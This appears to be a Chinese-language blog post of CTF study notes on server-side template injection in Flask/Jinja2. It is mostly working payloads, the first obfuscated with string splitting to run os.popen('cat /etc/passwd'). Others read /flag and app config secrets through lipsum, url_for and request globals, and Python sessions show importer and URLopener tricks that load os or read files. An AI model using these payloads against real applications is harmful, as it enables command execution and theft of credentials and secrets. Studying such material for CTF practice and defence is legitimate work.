{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}

一些姿势

self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

特殊变量

url_for, g,request,namespace,lipsum,range,session,dict,get_flashed_messages,cycler,joiner,config,当configself被过滤了,但仍需要获取配置信息时,就需要从它的上部全局变量(访问配置current_app等)

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

补充SSTI常用可利用类

<class '_frozen_importlib.BuiltinImporter'>

该类是内建包import工具,通过传入内建模块的字符串,我们可以引入核心模块:

root@kali:~# python3
Python 3.8.5 (default, Jul 20 2020, 18:32:44) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> globals()['__loader__']
<class '_frozen_importlib.BuiltinImporter'>
>>> globals()['__loader__']().load_module('os')
<module 'os' (built-in)>
>>> globals()['__loader__']().load_module('io')
<module 'io' (built-in)>

os模块:有system函数用以执行命令,有popen函数执行命令获取内容,有listdir函数读取文件夹内文件,甚至有excel方法能日穿服务器

io模块:各种输入输出流以及open函数可以读取文件。

<class 'urllib.request.URLopener'>

urllib的模块,可以通过request.URLopener打开各种流,并获取返回的内容。

root@kali:~# python3
Python 3.8.5 (default, Jul 20 2020, 18:32:44) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib import request
>>> request.URLopener
<class 'urllib.request.URLopener'>
>>> dir(request.URLopener())
['_URLopener__tempfiles', '_URLopener__unlink', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_https_connection', '_open_generic_http', 'addheader', 'addheaders', 'cert_file', 'cleanup', 'close', 'ftpcache', 'http_error', 'http_error_default', 'key_file', 'open', 'open_data', 'open_file', 'open_ftp', 'open_http', 'open_https', 'open_local_file', 'open_unknown', 'open_unknown_proxy', 'proxies', 'retrieve', 'tempcache', 'version']
>>> request.URLopener().open_file("flag").read()
b'flag{Tr0jAn_V1rU4_SuCcesS!}\n'

<class 'subprocess.Popen'>

可以通过这个类来执行子命令,获取返回值(不是执行结果),类似os.popen

总结

现在只是对SSTI有一个很粗浅的了解,更多的细节和运用,还要在实战中练习。

附录

以上内容转载自:

flag0byc_404evi0s

最后修改:2020 年 09 月 26 日 11 : 12 PM
请作者喝杯奶茶吧~